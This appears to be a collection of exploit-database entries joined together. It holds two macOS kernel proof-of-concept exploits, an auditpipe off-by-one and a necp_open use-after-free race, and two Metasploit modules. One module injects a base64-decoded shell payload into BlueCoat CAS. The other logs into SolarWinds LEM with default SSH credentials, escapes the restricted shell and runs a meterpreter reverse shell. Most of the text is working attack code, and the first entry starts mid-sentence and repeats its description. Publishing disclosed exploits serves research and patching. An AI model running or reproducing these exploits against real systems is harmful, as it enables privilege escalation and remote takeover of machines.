is correct therefore it isn't validated for example in the ioctl handler:
static int
audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data,
__unused int flag, __unused proc_t p)
{
...
ap = audit_pipe_dtab[minor(dev)];
KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL"));
...
switch (cmd) {
case FIONBIO:
AUDIT_PIPE_LOCK(ap);
if (*(int *)data)
Directly after the audit_pipe_dtab array in the bss is this global variable:
static u_int64_t audit_pipe_drops;
audit_pipe_drops will be incremented each time an audit message enqueue fails:
if (ap->ap_qlen >= ap->ap_qlimit) {
ap->ap_drops++;
audit_pipe_drops++;
return;
}
So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the
struct audit_pipe* which is read out-of-bounds.
For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file
and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record
and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe*
then the ioctl will try to use that pointer.
This is a root to kernel privesc.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
//ianbeer
#if 0
MacOS kernel memory corruption due to off-by-one in audit_pipe_open
audit_pipe_open is the special file open handler for the auditpipe device (major number 10.)
Here's the code:
static int
audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype,
__unused proc_t p)
{
struct audit_pipe *ap;
int u;
u = minor(dev);
if (u < 0 || u > MAX_AUDIT_PIPES)
return (ENXIO);
AUDIT_PIPE_LIST_WLOCK();
ap = audit_pipe_dtab[u];
if (ap == NULL) {
ap = audit_pipe_alloc();
if (ap == NULL) {
AUDIT_PIPE_LIST_WUNLOCK();
return (ENOMEM);
}
audit_pipe_dtab[u] = ap;
We can control the minor number via mknod. Here's the definition of audit_pipe_dtab:
static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES];
There's an off-by-one in the minor number bounds check
(u < 0 || u > MAX_AUDIT_PIPES)
should be
(u < 0 || u >= MAX_AUDIT_PIPES)
The other special file operation handlers assume that the minor number of an opened device
is correct therefore it isn't validated for example in the ioctl handler:
static int
audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data,
__unused int flag, __unused proc_t p)
{
...
ap = audit_pipe_dtab[minor(dev)];
KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL"));
...
switch (cmd) {
case FIONBIO:
AUDIT_PIPE_LOCK(ap);
if (*(int *)data)
Directly after the audit_pipe_dtab array in the bss is this global variable:
static u_int64_t audit_pipe_drops;
audit_pipe_drops will be incremented each time an audit message enqueue fails:
if (ap->ap_qlen >= ap->ap_qlimit) {
ap->ap_drops++;
audit_pipe_drops++;
return;
}
So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the
struct audit_pipe* which is read out-of-bounds.
For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file
and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record
and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe*
then the ioctl will try to use that pointer.
This is a root to kernel privesc.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <bsm/audit.h>
#include <security/audit/audit_ioctl.h>
int main(int argc, char** argv) {
system("rm -rf /dev/auditpipe");
system("mknod /dev/auditpipe c 10 32");
int fd = open("/dev/auditpipe", O_RDWR);
if (fd == -1) {
perror("failed to open auditpipe device\n");
exit(EXIT_FAILURE);
}
printf("opened device\n");
system("touch a_log_file");
int auditerr = auditctl("a_log_file");
if (auditerr == -1) {
perror("failed to set a new log file\n");
}
uint32_t qlim = 1;
int err = ioctl(fd, AUDITPIPE_SET_QLIMIT, &qlim);
if (err == -1) {
perror("AUDITPIPE_SET_QLIMIT");
exit(EXIT_FAILURE);
}
while(1) {
char* audit_data = "\x74hello";
int audit_len = strlen(audit_data)+1;
audit(audit_data, audit_len);
uint32_t nread = 0;
int err = ioctl(fd, FIONREAD, &qlim);
if (err == -1) {
perror("FIONREAD");
exit(EXIT_FAILURE);
}
}
return 0;
}
# Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS
# Date: April 3, 2017
# Exploit Authors: Chris Hebert, Peter Paccione and Corey Boyd
# Contact: chrisdhebert[at]gmail.com
# Vendor Security Advisory: https://bto.bluecoat.com/security-advisory/sa138
# Version: CAS 1.3 prior to 1.3.7.4 & ASG 6.6 prior to 6.6.5.4 are vulnerable
# Tested on: BlueCoat CAS 1.3.7.1
# CVE : cve-2016-9091
Timeline:
--------
08/31/2016 (Vulnerablities Discovered)
03/31/2017 (Final Vendor Patch Confirmed)
04/03/2017 (Public Release)
Description:
The BlueCoat ASG and CAS management consoles are susceptible to an OS command injection vulnerability.
An authenticated malicious administrator can execute arbitrary OS commands with the privileges of the tomcat user.
Proof of Concept:
Metasploit Module - Remote Command Injection (via Report Email)
-----------------
##
# This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "BlueCoat CAS 1.3.7.1 \"Report Email\" Command Injection",
'Description' => %q{
BlueCoat CAS 1.3.7.1 (and possibly previous versions) are susceptible to an authenticated Remote Command Injection attack against
the Report Email functionality. This module exploits the vulnerability, resulting in tomcat execute permissions.
Any authenticated user within the 'administrator' group is able to exploit this; however, a user within the 'Readonly' group cannot.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Hebert <chrisdhebert[at]gmail.com>',
'Pete Paccione <petepaccione[at]gmail.com>',
'Corey Boyd <corey.k.boyd[at]gmail.com>'
],
'DisclosureDate' => 'Vendor Contacted 8-31-2016',
'Platform' => %w{ linux unix },
'Targets' =>
[
['BlueCoat CAS 1.3.7.1', {}],
],
'DefaultTarget' => 0,
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Payload' =>
{
'BadChars' => '',
'Compat' =>
{
#'PayloadType' => 'cmd python cmd_bash cmd_interact',
#'RequiredCmd' => 'generic perl python openssl bash awk', # metasploit may need to fix [bash,awk]
}
},
'References' =>
[
['CVE', '2016-9091'],
['EDB', '##TBD##'],
['URL', 'https://bto.bluecoat.com/security-advisory/sa138']
],
'DefaultOptions' =>
{
'SSL' => true
},
'Privileged' => true))
register_options([
Opt::RPORT(8082),
OptString.new('USERNAME', [ true, 'Single username' ]),
OptString.new('PASSWORD', [ true, 'Single password' ])
], self.class)
end
#Check BlueCoat CAS version - unauthenticated via GET /avenger/rest/version
def check
res = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'version')
})
clp_version = res.body.split("\<\/serialNumber\>\<version\>")
clp_version = clp_version[1]
clp_version = clp_version.split("\<")
clp_version = clp_version[0]
if res and clp_version != "1.3.7.1"
print_status("#{peer} - ERROR - BlueCoat version #{clp_version}, but must be 1.3.7.1")
fail_with(Failure::NotVulnerable, "BlueCoat version #{clp_version}, but must be 1.3.7.1")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
print_status("#{peer} - Checking for vulnerable BlueCoat Host...")
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not version 1.3.7.1")
end
print_status("#{peer} - Running Exploit...")
post = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cas', 'v1', 'tickets'),
'method' => 'POST',
'vars_post' => post
})
unless res && res.code == 201
print_error("#{peer} - Server did not respond in an expected way")
return
end
redirect = res.headers['Location']
ticket1 = redirect.split("\/tickets\/").last
print_status("#{peer} - Step 1 - REQ:Login -> RES:Ticket1 -> #{ticket1}")
post = {
'service' => 'http://localhost:8447/avenger/j_spring_cas_security_check'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cas', 'v1', 'tickets', "#{ticket1}"),
'method' => 'POST',
'vars_post' => post
})
ticket2 = res.body
print_status("#{peer} - Step 2 - REQ:Ticket1 -> RES:Ticket2 -> #{ticket2}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "avenger/j_spring_cas_security_check?dc=1472496573838&ticket=#{ticket2}")
})
unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end
cookie = res.get_cookies
print_status("#{peer} - Step 3 - REQ:Ticket2 -> RES:COOKIE -> #{cookie}")
if cookie.blank?
print_error("#{peer} - Could not retrieve a cookie")
return
end
unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end
cookie = res.get_cookies
if cookie.blank?
print_error("#{peer} - Could not retrieve the authenticated cookie")
return
end
print_status("#{peer} - LOGIN Process Complete ...")
print_status("#{peer} - Exploiting Bluecoat CAS v1.3.7.1 - Report Email ...")
if payload.raw.include?("perl") || payload.raw.include?("python") || payload.raw.include?("openssl")
#print_status("#{peer} - DEBUG: asci payload (perl,python, openssl,?bash,awk ")
post = "{\"reportType\":\"jpg\",\"url\":\"http\:\/\/localhost:8447/dev-report-overview.html\;echo #{Rex::Text.encode_base64(payload.raw)}|base64 -d|sh;\",\"subject\":\"CAS #{datastore["RHOST"]}: CAS Overview Report\"}"
else
#print_status("#{peer} - DEBUG - binary payload (meterpreter,etc, !!")
post = "{\"reportType\":\"jpg\",\"url\":\"http\:\/\/localhost:8447/dev-report-overview.html\;echo #{Rex::Text.encode_base64(payload.raw)}|base64 -d>/var/log/metasploit.bin;chmod +x /var/log/metasploit.bin;/var/log/metasploit.bin;\",\"subject\":\"CAS #{datastore["RHOST"]}: CAS Overview Report\"}"
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'report-email', 'send'),
'method' => 'POST',
'cookie' => cookie,
'ctype' => 'application/json',
'data' => post
})
print_status("#{peer} - Payload sent ...")
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "SolarWind LEM Default SSH Password Remote Code Execution",
'Description' => %q{
This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH
service is accessed with the default username and password which is "cmc" and "password". By exploiting a
vulnerability that exist on the menuing script, an attacker can escape from restricted shell.
This module was tested against SolarWinds LEM v6.3.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>', # discovery & msf module
],
'References' =>
[
['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']
],
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'Privileged' => false,
'DisclosureDate' => "Mar 17 2017",
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(32022),
OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),
OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),
]
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def exploit
factory = ssh_socket_factory
opts = {
:auth_methods => ['keyboard-interactive'],
:port => rport,
:use_agent => false,
:config => false,
:password => password,
:proxy => factory,
:non_interactive => true
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
payload_executed = false
print_good("SSH connection is established.")
ssh.open_channel do |channel|
print_status("Requesting pty... We need it in order to interact with menuing system.")
channel.request_pty do |ch, success|
raise ::RuntimeError, "Could not request pty!" unless success
print_good("Pty successfully obtained.")
print_status("Requesting a shell.")
ch.send_channel_request("shell") do |ch, success|
raise ::RuntimeError, "Could not open shell!" unless success
print_good("Remote shell successfully obtained.")
end
end
channel.on_data do |ch, data|
if data.include? "cmc "
print_good("Step 1 is done. Managed to access terminal menu.")
channel.send_data("service\n")
end
if data.include? "service "
print_good("Step 2 is done. Managed to select 'service' sub menu.")
channel.send_data("restrictssh\n")
end
if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance"
print_good("Step 3 is done. Managed to start 'restrictssh' function.")
channel.send_data("*#`bash>&2`\n")
end
if data.include? "Are the hosts"
print_good("Step 4 is done. We are going to try escape from jail shell.")
channel.send_data("Y\n")
end
if data.include? "/usr/local/contego"
if payload_executed == false
print_good("Sweet..! Escaped from jail.")
print_status("Delivering payload...")
channel.send_data("python -c \"#{payload.encoded}\"\n")
payload_executed = true
end
end
end
end
ssh.loop unless session_created?
end
end
end
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1116
necp_open is a syscall used to obtain a new necp file descriptor
The necp file's fp's fg_data points to a struct necp_fd_data allocated on the heap.
Here's the relevant code from necp_open:
error = falloc(p, &fp, &fd, vfs_context_current()); <--------------------- (a)
if (error != 0) {
goto done;
}
if ((fd_data = _MALLOC(sizeof(struct necp_fd_data), M_NECP,
M_WAITOK | M_ZERO)) == NULL) {
error = ENOMEM;
goto done;
}
fd_data->flags = uap->flags;
LIST_INIT(&fd_data->clients);
lck_mtx_init(&fd_data->fd_lock, necp_fd_mtx_grp, necp_fd_mtx_attr);
klist_init(&fd_data->si.si_note);
fd_data->proc_pid = proc_pid(p);
fp->f_fglob->fg_flag = FREAD;
fp->f_fglob->fg_ops = &necp_fd_ops;
fp->f_fglob->fg_data = fd_data; <-------------------------- (b)
proc_fdlock(p);
*fdflags(p, fd) |= (UF_EXCLOSE | UF_FORKCLOSE);
procfdtbl_releasefd(p, fd, NULL);
fp_drop(p, fd, fp, 1);
proc_fdunlock(p); <--------------------- (c)
*retval = fd;
lck_rw_lock_exclusive(&necp_fd_lock); <---------------- (d)
LIST_INSERT_HEAD(&necp_fd_list, fd_data, chain); <------(e)
lck_rw_done(&necp_fd_lock);
at (a) a new file descriptor and file object is allocated for the calling process
at (b) that new file's fg_data is set to the fd_data heap allocation
at (c) the process fd table is unlocked meaning that other processes can now look up
the new fd and get the associated fp
at (d) the necp_fd_lock is taken then at (e) the fd_data is enqueued into the necp_fd_list
The bug is that the fd_data is owned by the fp so that after we drop the proc_fd lock at (c)
another thread can call close on the new fd which will free fd_data before we enqueue it at (e).
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
in: "...that other processes can now look up the new fd and get the associated fp..." I meant threads, not processes!
*/
// ianbeer
#if 0
MacOS/iOS kernel uaf due to bad locking in necp_open
necp_open is a syscall used to obtain a new necp file descriptor
The necp file's fp's fg_data points to a struct necp_fd_data allocated on the heap.
Here's the relevant code from necp_open:
error = falloc(p, &fp, &fd, vfs_context_current()); <--------------------- (a)
if (error != 0) {
goto done;
}
if ((fd_data = _MALLOC(sizeof(struct necp_fd_data), M_NECP,
M_WAITOK | M_ZERO)) == NULL) {
error = ENOMEM;
goto done;
}
fd_data->flags = uap->flags;
LIST_INIT(&fd_data->clients);
lck_mtx_init(&fd_data->fd_lock, necp_fd_mtx_grp, necp_fd_mtx_attr);
klist_init(&fd_data->si.si_note);
fd_data->proc_pid = proc_pid(p);
fp->f_fglob->fg_flag = FREAD;
fp->f_fglob->fg_ops = &necp_fd_ops;
fp->f_fglob->fg_data = fd_data; <-------------------------- (b)
proc_fdlock(p);
*fdflags(p, fd) |= (UF_EXCLOSE | UF_FORKCLOSE);
procfdtbl_releasefd(p, fd, NULL);
fp_drop(p, fd, fp, 1);
proc_fdunlock(p); <--------------------- (c)
*retval = fd;
lck_rw_lock_exclusive(&necp_fd_lock); <---------------- (d)
LIST_INSERT_HEAD(&necp_fd_list, fd_data, chain); <------(e)
lck_rw_done(&necp_fd_lock);
at (a) a new file descriptor and file object is allocated for the calling process
at (b) that new file's fg_data is set to the fd_data heap allocation
at (c) the process fd table is unlocked meaning that other processes can now look up
the new fd and get the associated fp
at (d) the necp_fd_lock is taken then at (e) the fd_data is enqueued into the necp_fd_list
The bug is that the fd_data is owned by the fp so that after we drop the proc_fd lock at (c)
another thread can call close on the new fd which will free fd_data before we enqueue it at (e).
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/syscall.h>
int necp_open(int flags) {
return syscall(SYS_necp_open, flags);
}
void* closer(void* arg) {
while(1) {
close(3);
}
}
int main() {
for (int i = 0; i < 10; i++) {
pthread_t t;
pthread_create(&t, NULL, closer, NULL);
}
while (1) {
int fd = necp_open(0);
close(fd);
}
return 0;
}